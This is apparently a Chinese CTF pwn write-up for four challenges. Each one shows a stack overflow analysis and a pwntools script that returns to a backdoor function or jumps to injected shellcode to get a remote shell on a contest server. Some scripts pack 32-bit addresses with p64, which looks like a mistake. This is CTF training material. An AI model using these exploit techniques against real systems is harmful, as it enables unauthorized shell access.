九、你是大佬还是菜鸡?
老规矩查看一下文件
64位开启nx保护
进入ida查看一下
有两个函数,一个叫dalao,一个叫caiji
输入1进入大佬函数,输入2进入菜鸡函数,先进去大佬函数看一下
淦,被骂了;进入菜鸡函数看一下
一个溢出漏洞,shift+F12查找字符串
有bin/sh
跟踪一下发现一个标准的后门函数
思路:输入2进入菜鸡函数,然后利用溢出跳到后门函数位置
编写
from pwn import * r =remote("120.46.59.242", 2097) bin_sh=0x4008B0 padding=0x20+8 r.sendlineafter(b'2. Cai Ji\n',b'2') payload=b'a'*padding+p64(bin_sh) r.sendline(payload) r.interactive()
然后cat flag即可
十、Easy_ShellCode
老规矩查看一下文件
32位没有任何保护
IDA~启动!
main函数中有一个Start函数,直接进入Start函数查看 (main内容不截图了)
有两次写入的地方,shift+F12查看字符串
没有任何bin/sh cat flag的迹象
思路:通过第一次写入向栈中写入shellcode,通过第二次写入造成溢出跳回写入第一次shellcode的位置
第一次写入是str变量,双击str变量找到str开始写入的位置
记录一下 str_addr=0x804A080
然后偏移量 0x68+4
编写脚本
from pwn import * r =remote("120.46.59.242", 2052) shellcode=asm(shellcraft.sh()) str_addr=0x804A080 padding=0x68+4 r.recvuntil("Please Input:\n") r.sendline(shellcode) r.recvuntil("What,s your name ?:\n") payload=b'a'*padding+p64(str_addr) r.sendline(payload) r.interactive()
cat flag即可
十一、小狗汪汪汪
查看一下
32位开启nx保护
ida启动
打开查看main函数后有一个dog函数,直接进入dog函数查看
标准,太标准了 一个完美的溢出。shift+F12查看字符串
艾玛,这也有。跟踪一下
后门函数
思路:利用dog函数中的溢出跳到getshell函数
编写
from pwn import * r =remote("120.46.59.242", 2078) bin_sh=0x804859B padding=0x9+4 payload=b'a'*padding+p64(bin_sh) r.sendline(payload) r.interactive()
然后cat flag即可
十二、play
查看
ida
main里有一个play函数,直接进入play函数
两次写入,第一次red 第二次gets
溢出漏洞
shift+F12
没有后门函数
思路:同第十题一样,利用第一次red写入后门函数,第二次gets溢出跳转到后门函数中(没有开NX保护)
记录一下第一次写入的buf地址:0x6010A0
记录偏移量:0x30+8
编写脚本
from pwn import * r =remote("120.46.59.242", 2064) context(arch='amd64',os='linux') shellcode=asm(shellcraft.sh()) padding=0x30+8 bss_addr=0x6010A0 r.recvuntil("I think you must enjoy playing.\n") r.sendline(shellcode) payload=b'a'*padding+p64(bss_addr) r.sendline(payload) r.interactive()
cat flag即可